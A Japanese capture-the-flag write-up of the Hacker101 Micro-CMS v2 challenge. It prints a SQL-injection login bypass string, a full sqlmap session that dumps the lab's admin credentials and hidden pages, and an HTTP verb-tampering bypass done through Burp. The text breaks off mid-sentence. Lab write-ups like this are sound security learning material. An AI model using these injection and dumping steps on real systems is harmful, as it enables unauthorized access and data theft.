「Micro-CMS v1」と同様にMarkdownの投稿サイト。
Changelogを確認すると、
- セキュリティ脆弱性が修正されている
- ユーザー認証が追加、ユーザーがページの追加編集を行うには管理者である必要がある
とのこと。ログイン認証の突破が肝になりそうだ。
とりあえず色々調査しながらdirbを回しておく。
+ http://34.74.105.127/f754dab811/home (CODE:200|SIZE:251) + http://34.74.105.127/f754dab811/login (CODE:200|SIZE:361) + http://34.74.105.127/f754dab811/logout (CODE:302|SIZE:209)
Flag 1,3 "Blind SQL Injection"

とりあえず、不正文字っぽい'を入れて応答を見てみる。
Traceback (most recent call last):
File "./main.py", line 145, in do_login
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
self.errorhandler(self, exc, value)
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")
いい感じのエラーが出てきた。
クエリ内容も見えており、MariaDBが使われているようなので、MariaDBに対応したSQLiコードを入れる。
とりあえず、この部分を回避するには' or '' = 'でいいので、これを入れてPasswordを適当に入れてみる。
Invalid passwordと出てくるので、password側にも同様に'を入れてみるが、こちらはエラーが出てこない。
Username側はあるかないかを検知できるので、Blind SQL Injectionで情報の抜き出しが出来そうだ。
sqlmapに通してみる。
sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" --dbs
[*] information_schema
[*] level2
[*] mysql
[*] performance_schema
sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 --tables
+--------+
| admins |
| pages |
+--------+
sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T admins --columns
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| password | varchar(256) |
| username | varchar(256) |
+----------+--------------+
sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T admins -C id,password,username --dump
+----+-----------+----------+
| id | password | username |
+----+-----------+----------+
| 1 | elizebeth | robena |
+----+-----------+----------+
sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T pages --columns
+--------+--------------+
| Column | Type |
+--------+--------------+
| body | mediumtext |
| id | int(11) |
| public | tinyint(1) |
| title | varchar(256) |
+--------+--------------+
sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T pages -C body,id,public,title --dump
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+
| body
| id | public | title |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+
| ## Version 2\\nThis version fixed the multitude of security flaws and general functionality bugs that plagued v1. Additionally, we added user authentication; we're still not sure why we didn't think
about that the first time, but hindsight is 20/20. By default, users need to be an admin to add or edit pages now.\\n | 1 | 1 | Micro-CMS Changelog |
| Just testing some markdown functionality.\\n\\n\\n\\n<button>Some button</button> | 2 | 1 | Markdown Test |
| My secret is ^FLAG^$FLAG$
| 3 | 0 | Private Page |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+
このフラグはFlag1だった。
ここに書いてある認証情報でログインをすると、フラグが出てきてFlag3だった。
Flag 2
さて、全然わからなかったが、HTTP Verb Tamperingというものらしい。
- Software Security | HTTP Verb Tampering
- 【Hacker101 CTF】Micro-CMS v2解説 SQLインジェンクションを使った認証バイパス - かつおのお刺身

このページからEdit this Pageを押したものを、BurpでInterceptする。

GETをPOSTに変更して、流すとフラグが出てくるという感じ。
まあ、だから何だという話だが、以下のようなシナリオだろう。